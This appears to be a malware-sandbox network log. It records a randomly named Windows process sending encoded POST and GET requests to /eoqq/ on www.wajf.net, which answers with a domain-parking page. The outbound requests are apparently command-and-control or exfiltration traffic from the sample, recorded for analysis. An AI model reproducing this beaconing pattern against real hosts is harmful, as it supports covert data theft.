Oct 8, 2024 15:36:34.378201962 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 13:36:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 3151<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Oct 8, 2024 15:36:34.378263950 CEST	1236	IN	Data Raw: 74 3a 20 34 30 76 77 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 37 30 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: t: 40vw; max-height: 700px; min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex;
Oct 8, 2024 15:36:34.378325939 CEST	1236	IN	Data Raw: 69 74 65 63 64 6e 2e 63 6f 6d 2f 6e 62 2f 63 64 6c 2f 63 6f 6d 69 6e 67 2d 73 6f 6f 6e 2e 70 6e 67 22 20 61 6c 74 3d 22 63 6f 6d 6d 69 6e 67 20 73 6f 6f 6e 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: itecdn.com/nb/cdl/coming-soon.png" alt="comming soon" /> <div class="main"> <h1>wajf.net is coming soon</h1> </div> <div>This domain is managed at <br> <a href="/
Oct 8, 2024 15:36:34.378415108 CEST	1236	IN	Data Raw: 2d 37 2e 36 36 30 35 39 2d 34 2e 30 33 38 2d 31 34 2e 37 36 34 2d 31 37 2e 31 33 34 36 34 2d 31 34 2e 37 36 34 48 33 37 38 2e 35 37 30 32 35 76 33 30 2e 36 34 36 37 34 63 33 2e 33 34 34 36 33 2c 30 2c 38 2e 34 39 36 36 36 2e 32 37 39 32 35 2c 31 Data Ascii: -7.66059-4.038-14.764-17.13464-14.764H378.57025v30.64674c3.34463,0,8.49666.27925,11.42241.27925,17.82941,0,23.40032-4.59656,23.40032-14.34851Zm62.4236-33.0123a79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H
Oct 8, 2024 15:36:34.378465891 CEST	1236	IN	Data Raw: 35 33 2d 33 33 2e 32 39 36 32 37 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 35 32 36 63 30 2d 32 31 2e 37 33 31 31 39 2c 31 30 2e 38 36 35 36 2d 33 34 2e 39 36 34 2c 33 33 2e 32 39 36 32 37 2d 33 34 2e 39 36 34 41 31 31 38 2e 38 30 37 37 39 2c 31 Data Ascii: 53-33.29627-34.96235V105.526c0-21.73119,10.8656-34.964,33.29627-34.964A118.80779,118.80779,0,0,1,581.4102,74.1828c3.20332.83607,3.76519,1.67248,3.76519,3.76216V149.8214C585.17539,169.60389,575.14452,177.95924,553.83389,177.95924ZM566.7858,86.8
Oct 8, 2024 15:36:34.378513098 CEST	1236	IN	Data Raw: 2e 39 39 30 32 63 30 2c 35 2e 35 37 35 36 32 2c 32 2e 35 30 36 38 38 2c 36 2e 35 34 38 32 39 2c 38 2e 34 39 33 33 2c 36 2e 35 34 38 32 39 48 37 31 33 2e 38 34 34 63 31 2e 38 31 33 34 35 2c 30 2c 32 2e 39 32 34 30 37 2e 36 39 36 34 35 2c 32 2e 39 Data Ascii: .9902c0,5.57562,2.50688,6.54829,8.4933,6.54829H713.844c1.81345,0,2.92407.69645,2.92407,2.08968v8.63763C716.76805,148.9833,715.93366,149.8214,714.11987,150.10066Z" class="cls-1"></path><path d="M523.55018,5.59211l4.971,2.86822a1.29783,1.29783,0
Oct 8, 2024 15:36:34.378559113 CEST	1236	IN	Data Raw: 2d 31 2e 37 36 31 2e 34 32 33 39 32 4c 34 35 33 2e 34 31 38 35 35 2c 33 30 2e 34 30 38 35 33 61 31 2e 32 35 34 32 33 2c 31 2e 32 35 34 32 33 2c 30 2c 30 2c 31 2d 2e 34 35 36 39 2d 31 2e 37 30 33 37 38 6c 32 2e 38 36 35 31 39 2d 34 2e 39 36 36 33 Data Ascii: -1.761.42392L453.41855,30.40853a1.25423,1.25423,0,0,1-.4569-1.70378l2.86519-4.96631a1.25738,1.25738,0,0,1,1.70849-.45656l22.19448,12.81733A1.30449,1.30449,0,0,1,480.24559,37.83394Z" class="cls-2"></path><path d="M490.17148,30.00412l-4.96463,2.
Oct 8, 2024 15:36:34.378607035 CEST	1236	IN	Data Raw: 2e 35 38 37 34 2c 35 2e 35 38 37 34 2c 30 2c 30 2c 31 2c 37 32 2e 37 31 31 31 38 2c 31 35 30 2e 31 30 30 36 36 5a 22 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 31 35 32 2e 38 31 36 34 39 2c 31 Data Ascii: .5874,5.5874,0,0,1,72.71118,150.10066Z" class="cls-2"></path><path d="M152.81649,147.59344a118.76528,118.76528,0,0,1-27.99855,3.62086c-22.42764,0-33.28988-13.23453-33.28988-34.96235V105.526c0-21.73119,10.86224-34.964,33.28988-34.964a118.86956,
Oct 8, 2024 15:36:34.378653049 CEST	1236	IN	Data Raw: 33 34 33 32 39 63 31 37 2e 36 39 31 34 36 2c 30 2c 32 38 2e 31 33 37 38 34 2c 39 2e 30 35 35 31 37 2c 32 38 2e 31 33 37 38 34 2c 32 36 2e 36 30 35 36 35 76 35 30 2e 30 30 35 32 39 41 32 2e 38 30 34 33 36 2c 32 2e 38 30 34 33 36 2c 30 2c 30 2c 31 Data Ascii: 34329c17.69146,0,28.13784,9.05517,28.13784,26.60565v50.00529A2.80436,2.80436,0,0,1,267.18568,150.10066Z" class="cls-2"></path><path d="M344.50486,117.228H299.0941v.42056c0,8.07577,3.345,17.68641,16.71576,17.68641,10.16713,0,19.78114-.83473,25.
Oct 8, 2024 15:36:34.378703117 CEST	1236	IN	Data Raw: 31 31 32 35 36 76 35 2e 32 37 39 38 38 63 30 2c 2e 38 31 31 38 34 2d 2e 36 34 37 33 33 2c 31 2e 32 31 35 39 32 2d 31 2e 34 35 38 38 34 2c 31 2e 32 31 35 39 32 68 2d 2e 32 34 36 32 38 61 37 30 2e 33 35 35 33 35 2c 37 30 2e 33 35 35 33 35 2c 30 2c Data Ascii: 11256v5.27988c0,.81184-.64733,1.21592-1.45884,1.21592h-.24628a70.35535,70.35535,0,0,0-10.48137-.56187c-3.81768,0-7.79988,2.1849-7.79988,10.6422v7.557c0,8.45056,3.9822,10.64186,7.79988,10.64186a70.19544,70.19544,0,0,0,10.48137-.56826h.24628c.81
Oct 8, 2024 15:36:34.378997087 CEST	421	IN	Data Raw: 31 2e 36 33 38 32 34 2c 30 2c 30 2c 31 2d 31 2e 35 34 37 33 33 2d 31 2e 37 31 31 38 35 56 31 31 39 2e 32 32 35 34 38 63 30 2d 31 30 2e 32 33 39 38 31 2c 36 2e 30 39 34 37 36 2d 31 35 2e 35 32 31 33 38 2c 31 36 2e 34 31 31 36 31 2d 31 35 2e 35 32 Data Ascii: 1.63824,0,0,1-1.54733-1.71185V119.22548c0-10.23981,6.09476-15.52138,16.41161-15.52138h1.9551c4.55047,0,8.204,1.05814,10.72429,3.25111,2.51663-2.193,6.25256-3.25111,10.80638-3.25111h1.9514c10.31719,0,16.412,5.28157,16.412,15.52138v29.16333A1.63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	60854	3.91.127.116	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:36.457803011 CEST	1756	OUT	POST /eoqq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.wajf.net Origin: http://www.wajf.net Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.wajf.net/eoqq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 62 64 79 74 34 6e 39 61 44 55 49 66 30 30 70 36 33 73 41 49 47 63 68 35 64 35 55 7a 62 6a 41 59 74 74 68 34 73 64 46 66 41 77 35 4d 6e 41 4f 50 70 41 47 37 6d 39 35 33 2f 52 64 4d 78 4a 70 78 58 36 57 75 46 38 58 30 78 61 67 48 76 51 39 68 39 6e 63 69 4e 47 7a 56 73 6c 6f 66 4d 67 73 2f 45 62 77 36 69 75 68 61 55 53 67 41 6c 4a 38 64 6e 41 64 52 4a 46 6f 67 44 74 43 59 34 45 74 63 6b 73 58 30 35 6f 4b 30 73 55 75 45 76 6a 4c 35 51 4a 35 79 64 6f 4f 69 2f 34 63 6d 71 68 6f 67 4c 30 6b 46 57 7a 4c 62 79 53 53 73 72 4e 79 65 75 61 34 65 6e 69 6b 6b 6e 52 4e 77 32 44 41 69 64 6e 6e 38 73 68 4e 62 37 49 4a 36 75 4b 64 67 58 5a 72 4c 34 47 51 4c 35 70 2b 70 6b 4c 6d 68 51 74 70 51 4e 45 67 43 41 41 42 58 50 56 6f 6b 62 6c 39 65 30 44 4b 46 39 6e 63 45 43 68 32 4d 50 42 49 47 33 4d 59 46 70 64 68 45 32 50 32 70 34 53 76 74 52 36 4a 30 35 36 5a 38 6d 58 67 2b 76 5a 69 77 7a 47 34 32 63 6a 4e 52 57 62 61 6f 72 33 43 4a 35 4e 6e 47 7a 59 34 57 63 46 59 7a 70 77 50 4b 64 41 70 63 59 7a 2b 59 2f [TRUNCATED] Data Ascii: tpTd=bdyt4n9aDUIf00p63sAIGch5d5UzbjAYtth4sdFfAw5MnAOPpAG7m953/RdMxJpxX6WuF8X0xagHvQ9h9nciNGzVslofMgs/Ebw6iuhaUSgAlJ8dnAdRJFogDtCY4EtcksX05oK0sUuEvjL5QJ5ydoOi/4cmqhogL0kFWzLbySSsrNyeua4enikknRNw2DAidnn8shNb7IJ6uKdgXZrL4GQL5p+pkLmhQtpQNEgCAABXPVokbl9e0DKF9ncECh2MPBIG3MYFpdhE2P2p4SvtR6J056Z8mXg+vZiwzG42cjNRWbaor3CJ5NnGzY4WcFYzpwPKdApcYz+Y/2A1STymADjM4MaTD4onhMY5MJkz8Cfe0mXHBiJZ+KZhdMIbzQp7WIabjNCaMgXdL3VGXZTGhHrm15jKa7Hw83kY1arQLg4bspDjpSc7wOSM+SfrhynpBeoO9mnpCe8Hi32fQPRKb2AiYH0RREyrEp5mMlP9MvHkiFEOQao0ljP0EftFZQKbmbNeYk+LCLKD6j4MomtEEwxjqKH2YInNqfclHWK6BMN3zV/xzBLEC2NbR3oKoDmVmBzC3I+zbRK4QI0VLZgmdJD5JmfjRXtKxoxsrpCuxhQ1QzDLGAFqv+McrRa+NbOyU9K7BSQIPh3kQppTG7pS1nJt7pLxs9xkte8zN88+7+zEL6lZFeN/fDD1nq8nj0TCW8deYl3GPM6N2A8XDw41qjyIhKIq/Oc0cPzRYa0zynEwmvHY4Q/wVyA0e8IHDA7nTQ+d7F/zeOhbTeGa5BWeBkvadVu692L54IXOaJgF6K6yLAXQjJ6VTEMIaemgcc26+1XDnucE6MssGzmRAaoV3u84xPoQ2TfzpcaiBe+hkH2836+9uVSaWmUFKiEPilcYgBYNMWNnxxRMuMVaVPzRpmEw5wj3A6ApEivLJC2JGsGMqSxlhsC3TSPXxSnSlkZukedPm4flfhYuJtgO0lPiHmwxtl8fK06HiYGCJ/UhNTjSr3q [TRUNCATED]
Oct 8, 2024 15:36:36.958839893 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 13:36:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 3151<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Oct 8, 2024 15:36:36.958864927 CEST	1236	IN	Data Raw: 74 3a 20 34 30 76 77 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 37 30 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: t: 40vw; max-height: 700px; min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex;
Oct 8, 2024 15:36:36.958897114 CEST	1236	IN	Data Raw: 69 74 65 63 64 6e 2e 63 6f 6d 2f 6e 62 2f 63 64 6c 2f 63 6f 6d 69 6e 67 2d 73 6f 6f 6e 2e 70 6e 67 22 20 61 6c 74 3d 22 63 6f 6d 6d 69 6e 67 20 73 6f 6f 6e 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: itecdn.com/nb/cdl/coming-soon.png" alt="comming soon" /> <div class="main"> <h1>wajf.net is coming soon</h1> </div> <div>This domain is managed at <br> <a href="/
Oct 8, 2024 15:36:36.958915949 CEST	1236	IN	Data Raw: 2d 37 2e 36 36 30 35 39 2d 34 2e 30 33 38 2d 31 34 2e 37 36 34 2d 31 37 2e 31 33 34 36 34 2d 31 34 2e 37 36 34 48 33 37 38 2e 35 37 30 32 35 76 33 30 2e 36 34 36 37 34 63 33 2e 33 34 34 36 33 2c 30 2c 38 2e 34 39 36 36 36 2e 32 37 39 32 35 2c 31 Data Ascii: -7.66059-4.038-14.764-17.13464-14.764H378.57025v30.64674c3.34463,0,8.49666.27925,11.42241.27925,17.82941,0,23.40032-4.59656,23.40032-14.34851Zm62.4236-33.0123a79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H
Oct 8, 2024 15:36:36.958930016 CEST	1236	IN	Data Raw: 35 33 2d 33 33 2e 32 39 36 32 37 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 35 32 36 63 30 2d 32 31 2e 37 33 31 31 39 2c 31 30 2e 38 36 35 36 2d 33 34 2e 39 36 34 2c 33 33 2e 32 39 36 32 37 2d 33 34 2e 39 36 34 41 31 31 38 2e 38 30 37 37 39 2c 31 Data Ascii: 53-33.29627-34.96235V105.526c0-21.73119,10.8656-34.964,33.29627-34.964A118.80779,118.80779,0,0,1,581.4102,74.1828c3.20332.83607,3.76519,1.67248,3.76519,3.76216V149.8214C585.17539,169.60389,575.14452,177.95924,553.83389,177.95924ZM566.7858,86.8
Oct 8, 2024 15:36:36.958949089 CEST	1236	IN	Data Raw: 2e 39 39 30 32 63 30 2c 35 2e 35 37 35 36 32 2c 32 2e 35 30 36 38 38 2c 36 2e 35 34 38 32 39 2c 38 2e 34 39 33 33 2c 36 2e 35 34 38 32 39 48 37 31 33 2e 38 34 34 63 31 2e 38 31 33 34 35 2c 30 2c 32 2e 39 32 34 30 37 2e 36 39 36 34 35 2c 32 2e 39 Data Ascii: .9902c0,5.57562,2.50688,6.54829,8.4933,6.54829H713.844c1.81345,0,2.92407.69645,2.92407,2.08968v8.63763C716.76805,148.9833,715.93366,149.8214,714.11987,150.10066Z" class="cls-1"></path><path d="M523.55018,5.59211l4.971,2.86822a1.29783,1.29783,0
Oct 8, 2024 15:36:36.958982944 CEST	1236	IN	Data Raw: 2d 31 2e 37 36 31 2e 34 32 33 39 32 4c 34 35 33 2e 34 31 38 35 35 2c 33 30 2e 34 30 38 35 33 61 31 2e 32 35 34 32 33 2c 31 2e 32 35 34 32 33 2c 30 2c 30 2c 31 2d 2e 34 35 36 39 2d 31 2e 37 30 33 37 38 6c 32 2e 38 36 35 31 39 2d 34 2e 39 36 36 33 Data Ascii: -1.761.42392L453.41855,30.40853a1.25423,1.25423,0,0,1-.4569-1.70378l2.86519-4.96631a1.25738,1.25738,0,0,1,1.70849-.45656l22.19448,12.81733A1.30449,1.30449,0,0,1,480.24559,37.83394Z" class="cls-2"></path><path d="M490.17148,30.00412l-4.96463,2.
Oct 8, 2024 15:36:36.959006071 CEST	1236	IN	Data Raw: 2e 35 38 37 34 2c 35 2e 35 38 37 34 2c 30 2c 30 2c 31 2c 37 32 2e 37 31 31 31 38 2c 31 35 30 2e 31 30 30 36 36 5a 22 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 31 35 32 2e 38 31 36 34 39 2c 31 Data Ascii: .5874,5.5874,0,0,1,72.71118,150.10066Z" class="cls-2"></path><path d="M152.81649,147.59344a118.76528,118.76528,0,0,1-27.99855,3.62086c-22.42764,0-33.28988-13.23453-33.28988-34.96235V105.526c0-21.73119,10.86224-34.964,33.28988-34.964a118.86956,
Oct 8, 2024 15:36:36.959029913 CEST	1236	IN	Data Raw: 33 34 33 32 39 63 31 37 2e 36 39 31 34 36 2c 30 2c 32 38 2e 31 33 37 38 34 2c 39 2e 30 35 35 31 37 2c 32 38 2e 31 33 37 38 34 2c 32 36 2e 36 30 35 36 35 76 35 30 2e 30 30 35 32 39 41 32 2e 38 30 34 33 36 2c 32 2e 38 30 34 33 36 2c 30 2c 30 2c 31 Data Ascii: 34329c17.69146,0,28.13784,9.05517,28.13784,26.60565v50.00529A2.80436,2.80436,0,0,1,267.18568,150.10066Z" class="cls-2"></path><path d="M344.50486,117.228H299.0941v.42056c0,8.07577,3.345,17.68641,16.71576,17.68641,10.16713,0,19.78114-.83473,25.
Oct 8, 2024 15:36:36.959044933 CEST	1236	IN	Data Raw: 31 31 32 35 36 76 35 2e 32 37 39 38 38 63 30 2c 2e 38 31 31 38 34 2d 2e 36 34 37 33 33 2c 31 2e 32 31 35 39 32 2d 31 2e 34 35 38 38 34 2c 31 2e 32 31 35 39 32 68 2d 2e 32 34 36 32 38 61 37 30 2e 33 35 35 33 35 2c 37 30 2e 33 35 35 33 35 2c 30 2c Data Ascii: 11256v5.27988c0,.81184-.64733,1.21592-1.45884,1.21592h-.24628a70.35535,70.35535,0,0,0-10.48137-.56187c-3.81768,0-7.79988,2.1849-7.79988,10.6422v7.557c0,8.45056,3.9822,10.64186,7.79988,10.64186a70.19544,70.19544,0,0,0,10.48137-.56826h.24628c.81
Oct 8, 2024 15:36:36.960849047 CEST	421	IN	Data Raw: 31 2e 36 33 38 32 34 2c 30 2c 30 2c 31 2d 31 2e 35 34 37 33 33 2d 31 2e 37 31 31 38 35 56 31 31 39 2e 32 32 35 34 38 63 30 2d 31 30 2e 32 33 39 38 31 2c 36 2e 30 39 34 37 36 2d 31 35 2e 35 32 31 33 38 2c 31 36 2e 34 31 31 36 31 2d 31 35 2e 35 32 Data Ascii: 1.63824,0,0,1-1.54733-1.71185V119.22548c0-10.23981,6.09476-15.52138,16.41161-15.52138h1.9551c4.55047,0,8.204,1.05814,10.72429,3.25111,2.51663-2.193,6.25256-3.25111,10.80638-3.25111h1.9514c10.31719,0,16.412,5.28157,16.412,15.52138v29.16333A1.63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	60855	3.91.127.116	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:39.000379086 CEST	469	OUT	GET /eoqq/?tpTd=WfaN7QdSX3VNxg1q9fkfNv4hQq9KYwkNivs6k+R5An5RjxagqDfSiLpQ7QxvwrMnBdqTEtPHhZ8GpglWyWgxMX7+0Hc5PxIPKPsdiKxnaB1g3ZY6yQ==&WX=rnWllP5PLlhLLtj HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.wajf.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:36:39.447664976 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 13:36:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 32 37 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 2273<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Oct 8, 2024 15:36:39.447699070 CEST	1236	IN	Data Raw: 74 3a 20 34 30 76 77 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 37 30 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: t: 40vw; max-height: 700px; min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex;
Oct 8, 2024 15:36:39.447715044 CEST	1236	IN	Data Raw: 69 74 65 63 64 6e 2e 63 6f 6d 2f 6e 62 2f 63 64 6c 2f 63 6f 6d 69 6e 67 2d 73 6f 6f 6e 2e 70 6e 67 22 20 61 6c 74 3d 22 63 6f 6d 6d 69 6e 67 20 73 6f 6f 6e 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: itecdn.com/nb/cdl/coming-soon.png" alt="comming soon" /> <div class="main"> <h1>wajf.net is coming soon</h1> </div> <div>This domain is managed at <br> <a href="/
Oct 8, 2024 15:36:39.447725058 CEST	1236	IN	Data Raw: 2d 37 2e 36 36 30 35 39 2d 34 2e 30 33 38 2d 31 34 2e 37 36 34 2d 31 37 2e 31 33 34 36 34 2d 31 34 2e 37 36 34 48 33 37 38 2e 35 37 30 32 35 76 33 30 2e 36 34 36 37 34 63 33 2e 33 34 34 36 33 2c 30 2c 38 2e 34 39 36 36 36 2e 32 37 39 32 35 2c 31 Data Ascii: -7.66059-4.038-14.764-17.13464-14.764H378.57025v30.64674c3.34463,0,8.49666.27925,11.42241.27925,17.82941,0,23.40032-4.59656,23.40032-14.34851Zm62.4236-33.0123a79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H
Oct 8, 2024 15:36:39.447745085 CEST	1236	IN	Data Raw: 35 33 2d 33 33 2e 32 39 36 32 37 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 35 32 36 63 30 2d 32 31 2e 37 33 31 31 39 2c 31 30 2e 38 36 35 36 2d 33 34 2e 39 36 34 2c 33 33 2e 32 39 36 32 37 2d 33 34 2e 39 36 34 41 31 31 38 2e 38 30 37 37 39 2c 31 Data Ascii: 53-33.29627-34.96235V105.526c0-21.73119,10.8656-34.964,33.29627-34.964A118.80779,118.80779,0,0,1,581.4102,74.1828c3.20332.83607,3.76519,1.67248,3.76519,3.76216V149.8214C585.17539,169.60389,575.14452,177.95924,553.83389,177.95924ZM566.7858,86.8
